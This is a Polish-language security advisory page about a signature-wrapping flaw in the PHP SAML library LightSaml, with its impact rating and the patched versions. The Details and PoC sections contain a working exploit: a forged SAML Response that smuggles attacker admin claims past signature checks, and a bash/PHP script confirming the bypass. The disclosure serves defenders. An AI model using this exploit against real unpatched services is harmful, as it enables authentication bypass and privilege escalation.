Wysoka

LightSaml umożliwia obejście podpisu metodą Signature Wrapping

  • Ujawniono: 16.11.2026
  • Aktualizacja: 17.11.2026 10:00

Podsumowanie

LightSaml 5.0.0 (najnowsze wydanie; potwierdzone także w 4.6.1) weryfikuje przychodzące samlp:Response, pobierając bezpośrednie elementy potomne saml:Assertion i walidując ds:Signature każdego z nich za pomocą robrichards/xmlseclibs. Obie warstwy różnią się w interpretacji tego, który element jest faktycznie objęty podpisem: LightSaml odczytuje oświadczenia (claims) z pobranego węzła asercji, podczas gdy xmlseclibs rozwiązuje podpisany Reference URI="#id" za pomocą zapytania XPath //*[@Id] obejmującego cały dokument, co zwraca pierwszy element posiadający identyfikator w dowolnym miejscu dokumentu.

Atakujący, który przechwycił pojedynczą autentyczną podpisaną asercję, może wykorzystać tę lukę do przekazania spreparowanych przez siebie, niepodpisanych oświadczeń.

Szczegóły

Response::deserialize gromadzi asercje przy użyciu manyElementsFromXml, którego względny XPath saml:Assertion dopasowuje wyłącznie bezpośrednie elementy potomne Response. Każda pobrana asercja jest weryfikowana niezależnie przez AssertionSignatureValidatorAction w oparciu o zaufane poświadczenia IdP (ustalane na podstawie Issuer entityId, nigdy z treści dokumentu):

https://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/Protocol/Response.php#L122 https://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/AbstractSamlModel.php#L93 https://github.com/litesaml/lightsaml/blob/5.0.0/src/Action/Assertion/Inbound/AssertionSignatureValidatorAction.php#L28

Weryfikacja jest delegowana do biblioteki xmlseclibs XMLSecurityDSig::validateReference(), która najpierw usuwa walidowany węzeł podpisu ze współdzielonego dokumentu (usunięcie podpisu otoczonego / enveloped signature):

php
if (! $docElem->isSameNode($this->sigNode)) {
    if ($this->sigNode->parentNode != null) {
        $this->sigNode->parentNode->removeChild($this->sigNode);   // strips sig from shared DOM
    }
}

https://github.com/robrichards/xmlseclibs/blob/3.1.5/src/XMLSecurityDSig.php#L596

Następnie processRefNode() przetwarza URI="#id" w skali całego dokumentu i pobiera item(0) — pierwszy element z atrybutem ID w całym dokumencie (o dowolnej nazwie lub przestrzeni nazw), a nie węzeł znajdujący się wewnątrz poddrzewa samego podpisu:

php
$query = '//*['.$iDlist.']';
$dataObject = $xPath->query($query)->item(0);

https://github.com/robrichards/xmlseclibs/blob/3.1.5/src/XMLSecurityDSig.php#L525

W efekcie cel wyliczenia skrótu (digest target) wybrany przez xmlseclibs (//*[@Id] item(0), w dowolnym miejscu) nie musi być tym samym, który został wskazany w poprzedniej fazie. LightSaml odczytuje następnie oświadczenia (Subject/NameID, Conditions, Attributes) ze zgromadzonego przez siebie węzła:

https://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/Assertion/Assertion.php#L288

Przykładowy scenariusz ataku polega na umieszczeniu autentycznych podpisanych bajtów (asercji z usuniętym elementem ds:Signature) wewnątrz samlp:Extensions, przez co stają się one pierwszym elementem @Id w kolejności dokumentu, lecz nie są bezpośrednią asercją potomną. Następnie prezentowana jest sfałszowana bezpośrednia asercja potomna z tym samym ID, oświadczeniami atakującego oraz dosłowną kopią autentycznego ds:Signature:

xml
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
                xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_resp" Version="2.0" IssueInstant="2024-01-01T00:00:00Z">
  <saml:Issuer>https://idp.example.com</saml:Issuer>

  <!-- GENUINE signed bytes, buried in Extensions: first @Id document-wide (xmlseclibs picks this),
       but NOT a direct-child assertion (LightSaml ignores it). Signature element removed so the
       enveloped+exc-c14n digest target is the assertion sans Signature. -->
  <samlp:Extensions>
    <saml:Assertion ID="_signed_assertion" Version="2.0" IssueInstant="2024-01-01T00:00:00Z">
      <saml:Issuer>https://idp.example.com</saml:Issuer>
      <saml:Subject><saml:NameID>alice@example.com</saml:NameID></saml:Subject>
      <saml:Conditions NotBefore="2024-01-01T00:00:00Z" NotOnOrAfter="2099-01-01T00:00:00Z"/>
      <saml:AttributeStatement><saml:Attribute Name="role"><saml:AttributeValue>user</saml:AttributeValue></saml:Attribute></saml:AttributeStatement>
    </saml:Assertion>
  </samlp:Extensions>

  <!-- FORGED: the ONLY direct-child assertion LightSaml collects. SAME ID, attacker claims,
       verbatim copy of the genuine ds:Signature. -->
  <saml:Assertion ID="_signed_assertion" Version="2.0" IssueInstant="2024-01-01T00:00:00Z">
    <saml:Issuer>https://idp.example.com</saml:Issuer>
    <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> ...byte-for-byte copy of the genuine signature... </ds:Signature>
    <saml:Subject><saml:NameID>attacker@evil.com</saml:NameID></saml:Subject>
    <saml:Conditions NotBefore="2040-01-01T00:00:00Z" NotOnOrAfter="2041-01-01T00:00:00Z"/>
    <saml:AttributeStatement><saml:Attribute Name="role"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute></saml:AttributeStatement>
  </saml:Assertion>
</samlp:Response>

PoC

bash
#!/usr/bin/env bash
set -euo pipefail
WORK="$(mktemp -d)"; trap 'rm -rf "$WORK"' EXIT; cd "$WORK"
IDP_ENTITY="https://idp.example.com"; ASSERTION_ID="_signed_assertion"

composer require litesaml/lightsaml:5.0.0 --no-interaction --quiet

# trusted IdP key + self-signed cert (out-of-band trust anchor)
openssl req -x509 -newkey rsa:2048 -keyout idp_key.pem -out idp_cert.pem -days 3650 -nodes \
  -subj "/CN=idp.example.com" >/dev/null 2>&1

# genuine Response with one to-be-signed assertion
cat > genuine_tmpl.xml <<XML
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
                xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
                ID="_resp" Version="2.0" IssueInstant="2024-01-01T00:00:00Z">
  <saml:Issuer>${IDP_ENTITY}</saml:Issuer>
  <saml:Assertion ID="${ASSERTION_ID}" Version="2.0" IssueInstant="2024-01-01T00:00:00Z">
    <saml:Issuer>${IDP_ENTITY}</saml:Issuer>
    <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
      <ds:SignedInfo>
        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
        <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
        <ds:Reference URI="#${ASSERTION_ID}">
          <ds:Transforms>
            <ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
            <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
          </ds:Transforms>
          <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
          <ds:DigestValue></ds:DigestValue>
        </ds:Reference>
      </ds:SignedInfo>
      <ds:SignatureValue></ds:SignatureValue>
    </ds:Signature>
    <saml:Subject><saml:NameID>alice@example.com</saml:NameID></saml:Subject>
    <saml:Conditions NotBefore="2024-01-01T00:00:00Z" NotOnOrAfter="2099-01-01T00:00:00Z"/>
    <saml:AttributeStatement>
      <saml:Attribute Name="role"><saml:AttributeValue>user</saml:AttributeValue></saml:Attribute>
    </saml:AttributeStatement>
  </saml:Assertion>
</samlp:Response>
XML

# REAL signature over the genuine assertion (RSA-SHA256, enveloped + exc-c14n)
xmlsec1 --sign --lax-key-search --privkey-pem idp_key.pem \
  --id-attr:ID "urn:oasis:names:tc:SAML:2.0:assertion:Assertion" \
  --output genuine_signed.xml genuine_tmpl.xml >/dev/null

# TAMPER: bury the genuine bytes (signature stripped) in samlp:Extensions as the first @Id element,
# and make the ONLY direct-child assertion a forged one carrying a verbatim copy of the genuine
# signature + attacker claims.
php -r '
$doc = new DOMDocument(); $doc->load("genuine_signed.xml");
$xp = new DOMXPath($doc);
$xp->registerNamespace("saml","urn:oasis:names:tc:SAML:2.0:assertion");
$xp->registerNamespace("ds","http://www.w3.org/2000/09/xmldsig#");
$resp = $doc->documentElement;
$genuine = $xp->query("//saml:Assertion[@ID=\"_signed_assertion\"]")->item(0);
$copiedSig = $doc->saveXML($xp->query("./ds:Signature", $genuine)->item(0));

// buried = genuine clone WITHOUT its signature (the enveloped+exc-c14n digest target)
$buried = $genuine->cloneNode(true);
$buried->removeChild($xp->query("./ds:Signature", $buried)->item(0));

// forged = copied signature + attacker claims (the only direct-child assertion)
$forged =
  "<saml:Assertion xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"_signed_assertion\" Version=\"2.0\" IssueInstant=\"2024-01-01T00:00:00Z\">"
  ."<saml:Issuer>https://idp.example.com</saml:Issuer>".$copiedSig
  ."<saml:Subject><saml:NameID>attacker@evil.com</saml:NameID></saml:Subject>"
  ."<saml:Conditions NotBefore=\"2040-01-01T00:00:00Z\" NotOnOrAfter=\"2041-01-01T00:00:00Z\"/>"
  ."<saml:AttributeStatement><saml:Attribute Name=\"role\"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute></saml:AttributeStatement>"
  ."</saml:Assertion>";
$frag = $doc->createDocumentFragment(); $frag->appendXML($forged);

// Extensions(buried genuine) replaces the original assertion (first @Id, doc order); forged appended after
$ext = $doc->createElementNS("urn:oasis:names:tc:SAML:2.0:protocol","samlp:Extensions");
$ext->appendChild($buried);
$resp->replaceChild($ext, $genuine);
$resp->appendChild($frag);
file_put_contents("tampered.xml", $doc->saveXML());
'

# SP consumer: LightSaml real per-assertion validation, pinned cert, requireSignature=true
cat > consumer.php <<'PHP'
<?php
require __DIR__ . '/vendor/autoload.php';
use LightSaml\Action\Assertion\Inbound\AssertionSignatureValidatorAction;
use LightSaml\Context\Profile\{AssertionContext, ProfileContext};
use LightSaml\Credential\{UsageType, X509Certificate, X509Credential};
use LightSaml\Context\Model\DeserializationContext;   // moved from Model\Context in 5.0.0
use LightSaml\Model\Protocol\SamlMessage;
use LightSaml\Resolver\Credential\Factory\CredentialResolverFactory;
use LightSaml\Store\Credential\StaticCredentialStore;
use LightSaml\Validator\Model\Signature\SignatureValidator;
use Psr\Log\NullLogger;

[$_, $xmlPath, $certPath, $idpEntityId] = $argv;
$x509 = new X509Certificate(); $x509->loadPem(file_get_contents($certPath));   // pinned trust anchor
$cred = new X509Credential($x509); $cred->setEntityId($idpEntityId); $cred->setUsageType(UsageType::SIGNING);
$store = new StaticCredentialStore(); $store->add($cred);
$validator = new SignatureValidator((new CredentialResolverFactory($store))->build());
$action = new AssertionSignatureValidatorAction(new NullLogger(), $validator, true); // requireSignature=true

$message = SamlMessage::fromXML(file_get_contents($xmlPath), new DeserializationContext());
$profile = new ProfileContext('profile', ProfileContext::ROLE_SP);
$bypass = false;
echo "assertions LightSaml collected: " . count($message->getAllAssertions()) . "\n";
foreach ($message->getAllAssertions() as $i => $a) {
    $nameId = ($a->getSubject() && $a->getSubject()->getNameID()) ? $a->getSubject()->getNameID()->getValue() : '(none)';
    $attrs = [];
    foreach ($a->getAllAttributeStatements() as $s) foreach ($s->getAllAttributes() as $at)
        $attrs[$at->getName()] = implode(',', array_map(fn($v) => (string)$v, $at->getAllAttributeValues()));
    echo "ASSERTION #$i  NameID=$nameId  Attributes=".json_encode($attrs)."\n";
    $ctx = new AssertionContext(); $ctx->setAssertion($a); $ctx->setParent($profile);
    try { $action->execute($ctx); $r = 'ACCEPTED'; } catch (\Throwable $e) { $r = 'REJECTED: '.$e->getMessage(); }
    echo "  LightSaml validation: $r\n";
    if ($r === 'ACCEPTED' && (strpos($nameId,'evil.com') !== false || ($attrs['role'] ?? '') === 'admin')) {
        $bypass = true; echo "  >>> BYPASS: forged assertion validated AND attacker claims surfaced\n";
    }
}
echo $bypass ? "RESULT: BYPASS CONFIRMED\n" : "RESULT: no bypass\n";
exit($bypass ? 0 : 1);
PHP

php consumer.php tampered.xml idp_cert.pem "$IDP_ENTITY"

Zaobserwowany wynik:

assertions LightSaml collected: 1
ASSERTION #0  NameID=attacker@evil.com  Attributes={"role":"admin"}
  LightSaml validation: ACCEPTED
  >>> BYPASS: forged assertion validated AND attacker claims surfaced
RESULT: BYPASS CONFIRMED

Wpływ

Obejście uwierzytelniania / eskalacja uprawnień. Atakujący, który przechwycił jedną poprawnie podpisaną asercję (np. z własnego wcześniejszego logowania), może doprowadzić do zaakceptowania przez LightSaml całkowicie sfałszowanej asercji jako podpisanej przez IdP.

Co trzeba zrobić

Zaktualizuj litesaml/lightsaml do wersji 4.7.1, 5.0.1 lub nowszej.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka Composer litesaml/lightsaml >= 5.0.0, < 5.0.1, >= 4.0.0, < 4.7.1 5.0.1, 4.7.1

Odnośniki

Ocena CVSS 8.1/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Słabość (CWE)
CWE-347
Platforma
Composer
Paczka
litesaml/lightsaml
Ujawniono
16.11.2026
Aktualizacja
17.11.2026 10:00

Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.

OSV / GitHub Advisory Database - GHSA-w553-pwx6-3mg9 - CC BY 4.0

Historia podatności: litesaml/lightsaml

Wszystkie opisane podatności tej paczki (Paczka Composer), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

To jedyna znana podatność tej paczki.

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.